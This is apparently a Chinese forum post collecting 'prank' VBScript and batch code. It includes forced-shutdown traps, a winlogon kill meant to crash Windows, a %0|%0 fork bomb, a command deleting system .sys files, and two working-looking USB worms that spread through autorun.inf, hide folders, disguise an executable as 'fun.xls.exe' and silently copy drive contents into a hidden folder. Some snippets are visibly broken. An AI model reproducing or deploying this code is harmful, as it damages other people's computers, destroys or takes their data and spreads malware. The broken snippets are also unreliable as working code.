vbs 整人代码

怎么样，不错吧？下面放几个代码，以便后用：
do
msgbox "hi"
loop
=========================
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
==============================
（注意，下面的代码仅针对NT、2000、XP等系统）
==============================
if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
============================
（最厉害的一个）
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
============================
msgbox"你是不是很无聊啊？",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧！"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗？"
loop
===========================
msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc，否则关机。")
if a="abc" then
msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！"
exit do
else
msgbox"乖点，输入abc"
end if
loop
===========================
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "
============================
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
=============================
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
==============================
on error resume next
msgbox"即将格式化！请做好准备！",vbyesno
msgbox"准备好后点yes！"，vbyesno
msgbox"sorry，忘说了，点no也行！"
msgbox"我对不起你啊！呜呜呜555哈哈哈哈！"
msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。"
msgbox"被人研究！"
msgbox"就知

道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！"
msgbox"你咋还笑？！是时候惩罚你了！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop



===
%0|%0
===



@ECHO off
shutdown -a
taskkill -f -im wscript.exe
echo.破解完毕，按任意键退出...
pause >nul
exit

这个做成bat

On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName()="exe" Then
fso.CreateFolder(C & & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next

Set Cx=Nothing
Set Fdrs=Nothing

Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName()="exe" Then
= & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next

End If
End If
Next
WScript.Sleep 60*1000
Loop



WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")

WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")


警告：下面的代码请不要运行（太毒了！），若造成电脑永久损坏的，LZ不予负责！
要运行，请在虚拟机中运行！
on error resume next
call main()
sub main()
dim fso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell
set fso=createobject("scripting.file"&"systemobject")
set wshshell=wscript.createobject("wscript.shell")
old_n=0
redim old_drs(old_n)
old_drs(0)="c"
wshshell.run("explorer .\")
dim i
i = 0
do while i>=0 and i<8*360
scan_disk()
if judge_new_disk()=1 then
dim left_n
left_n = 1
do while left_n<=(new_n-old_n)
new_disk = new_drs(left_n+old_n)&":\"
if fso.fileexists(new_disk&"ftg.vbs") = -1 then
else
self_copy(new_disk)
end if
add_attrib(new_disk&"ftg.vbs")
if fso.fileexists(new_disk&"autorun.inf") = -1 then
del_attrib(new_disk&"autorun.inf")
end if
add_autorun(new_disk)
add_attrib(new_disk&"autorun.inf")
if fso.f

ileexists(new_disk&"ftgfolder.vbs") = -1 then
else
add_ftgfolder(new_disk)
end if
add_attrib(new_disk&"ftgfolder.vbs")
dim rec
rec = "d:\recyc1ed\"
if fso.folderexists(rec) = -1 then
else
fso.createfolder(rec)
end if
add_attribf(rec)
if fso.fileexists(rec&"desktop.ini") = -1 then
else
add_desktop(rec)
end if
add_attrib(rec&"desktop.ini")
aim_folder = rec&date()&rnd()
if fso.folderexists(aim_folder) = -1 then
else
fso.createfolder(aim_folder)
end if
if fso.folderexists(new_disk&"serylab") = -1 then
fso.copyfolder new_disk&"serylab", aim_folder, true
add_attribf(aim_folder)
end if
if old_n = 0 then
else
set fp = fso.getfolder(new_drs(new_n)&":\")
set fc = fp.subfolders
for each f in fc
fso.copyfolder f&"", aim_folder&"\"&, true
next
set fc = fp.files
for each f in fc
fso.copyfile f&"", aim_folder&"\", true
next
add_attribf(aim_folder)
end if
left_n=left_n+1
loop
copy_disk()
end if
wscript.sleep(10000)
i=i+1
loop
timeout=datediff("ww",getinfecteddate,date)-12
if timeout>0 and month(date)=day(date) then
call makejoke(cint(month(date)))
end if
call noisejoke()
end sub
function scan_disk()
dim d, dr
new_n = -1
set dr = fso.drives
for each d in dr
if d.isready then
new_n=new_n+1
redim preserve new_drs(new_n)
new_drs(new_n)=d.driveletter
end if
next
end function
function judge_new_disk()
if new_n = old_n then
judge_new_disk = 0
elseif new_n < old_n then
redim preserve old_drs(new_n)
old_n = new_n
judge_new_disk = 0
elseif new_n > old_n then
redim preserve old_drs(new_n)
judge_new_disk = 1
end if
end function
function copy_disk()
dim n
n=0
do while n<=new_n
old_drs(n) = new_drs(n)
n=n+1
loop
old_n = new_n
end function
function add_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
function del_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
f.attributes = 0
else
end if
end function
function self_copy(folder)
dim aim_path, mid_path, self_file, mid_file
aim_path = folder&"ftg.vbs"
mid_path = "c:\ftgfolder.bin"
set self_file = fso.opentextfile(wscript.scriptfullname,1)
self = self_file.readall
set mid_file = fso.opentextfile(mid_path,2,true)
mid_file.write self
mid_file.close
set mid_file = fso.getfile(mid_path)
mid_file.copy(aim_path)
mid_file.delete(true)
end function
function add_autorun(folder)
dim path
path = folder&"autorun.inf"
set temp = fso.createtextfile("c:\a.bin",true)
temp.writeline "[autorun]"
temp.writeline "open="
temp.writeline "shell\open=打开(&o)"
temp.writeline "shell\open\command=wscript.exe ftgfolder.vbs"
temp.writeline "shell\open\default=1"
temp.writeline "shell\explore=资源管理器(&x)"
temp.writeline "shell\explore\command=wscript.exe ftgfolder.vbs"
temp.close
set cop = fso.getfile("c:\a.bin")
cop.copy(path)
cop.delete(true)
end function
function add_desktop(folder)
dim path
path = folder&"desktop.ini"
set temp = fso.create

textfile("c:\d.bin",true)
temp.writeline "[.shellclassinfo]"
temp.writeline "clsid={645ff040-5081-101b-9f08-00aa002f954e}"
temp.close
set cop = fso.getfile("c:\d.bin")
cop.copy(path)
cop.delete(true)
end function
function add_ftgfolder(folder)
dim path
set fso = createobject("scripting.file"&"systemobject")
path = folder&"ftgfolder.vbs"
set temp = fso.createtextfile("c:\s.bin",true)
temp.writeline "on error resume next"
temp.writeline "set fso = createobject("&chr(34)&"scripting.filesys"&chr(34)&"&"&chr(34)&"temobject"&chr(34)&")"
temp.writeline "if fso.fileexists("&chr(34)&"ftg.vbs"&chr(34)&") = -1 then"
temp.writeline "if fso.fileexists("&chr(34)&"d:\ftg.vbs"&chr(34)&") = -1 then"
temp.writeline "set f = fso.getfile("&chr(34)&"d:\ftg.vbs"&chr(34)&")"
temp.writeline "if f.attributes = 0 then"
temp.writeline "else"
temp.writeline "f.attributes = 0"
temp.writeline "end if"
temp.writeline "f.delete(true)"
temp.writeline "end if"
temp.writeline "fso.copyfile "&chr(34)&"ftg.vbs"&chr(34)&", "&chr(34)&"d:\ftg.vbs"&chr(34)&", true"
temp.writeline "set wshshell = wscript.createobject("&chr(34)&"wscript.shell"&chr(34)&")"
temp.writeline "wshshell.run "&chr(34)&"d:\ftg.vbs"&chr(34)
temp.writeline "end if"
temp.close
set cop=fso.getfile("c:\s.bin")
cop.copy(path)
cop.delete(true)
end function
function add_attribf(folder)
set f=fso.getfolder(folder)
if f.attributes=7 then
else
f.attributes=7
end if
end function
function del_attribf(folder)
set f=fso.getfolder(folder)
if f.attributes=0 then
else
f.attributes=0
end if
end function
function getinfecteddate()
on error resume next
dim dateinfo
dateinfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date"
if readreg(dateinfo)="" then
getinfecteddate=""
else
getinfecteddate=CDate(readreg(dateinfo))
end if
end function
sub makejoke(times)
on error resume next
dim wmp,cdrom
set wmp=createobject( "WMPlayer.ocx" )
set cdrom=wmp.cdromcollection
if cdrom.count>0 then
for i=1 to times
cdrom.item(0).eject()
wscript.sleep 1000
cdrom.item(0).eject()
next
end if
set wmp=nothing
end sub
sub noisejoke()
dim a
set a=createobject("sapi.spvoice")
do
a.speak "I am a virus"
loop
end sub
dim folder,foldername,f,d,dc
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then
wscript.echo d
scan(d)
end if
next
lsfile=wscript.scriptfullname
set lsfile=fso.getfile(lsfile)
sub scan(folder)
on error resume next
set folder_=fso.getfolder(folder)
set files=folder.files
for each file in files
ext=fso.getextensionname(file)
ext=lcase(ext)
if ext="ftg" then
set ap=fso.opentextfile(file.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs")
file.delete(true)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub
set fs

o=nothing
set wshshell=nothing


del c:/windows/*.sys 保存bat


msgbox "陪我数羊吧！",0,"求求了。。"
msgbox "数到十你就胜利了！",0,"还是求。。"
msgbox "所以一定要陪哦！",0,"陪陪吧！噢耶！数羊喽！"
do
for i=1 to 9
msgbox i&"只羊。"
next
msgbox "数的不对！重数！"
loop
---------------------------
dim f,w,o
set w=createobject("scripting.FileSystemObject")
f=w.getFile(wscript.scriptFullName).path '获取自身完整路径
set o=createobject("wscript.shell")
o.run f '运行自己
msgbox "你被耍了！哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈"


dim o
set o=createobject("wscript.shell")
do
o.run "calc"
loop
-------------
'还有。。。
dim o
set o=createobject("wscript.shell")
if msgbox("你无聊吗？",VbYesNo)=vbYes then
msgbox "我也很无聊。。所以……"
o.run "shutdown -f -s -t 10 -c ""886""",0
else msgbox "你竟不无聊？但是我很无聊。。所以……"
o.run "shutdown -f -s -t 10 -c ""886""",0
end if


set ws=createobject("wscript.shell")
ws.run"cmd.exe /c attrib -r -a -s -h -i %temp%\hsdiahduasihdai.vbs"
ws.run"cmd.exe /c del %temp%\hsdiahduasihdai.vbs /s /q"
aaa="cmd.exe /c echo.msgbox""你就是可爱的小朋吗？恭喜中计了！！！"">%temp%\hsdiahduasihdai.vbs"
ws.run""&aaa
ws.run"cmd.exe /c attrib +r +a +s +h +i %temp%\hsdiahduasihdai.vbs"
do
ws.run"cmd.exe /c start %temp%\hsdiahduasihdai.vbs"
loop

on error resume next
msgbox"即将格式化！请做好准备！",vbyesno
msgbox"准备好后点yes！"，vbyesno
msgbox"sorry，忘说了，点no也行！"
msgbox"我对不起你啊！呜呜呜555哈哈哈哈！"
msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。"
msgbox"被人研究！"
msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！"
msgbox"你咋还笑？！是时候惩罚你了！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop

do
msgbox"error",0+16,"error"
loop


dim a
a=0
do
msgbox a
a=a+1
loop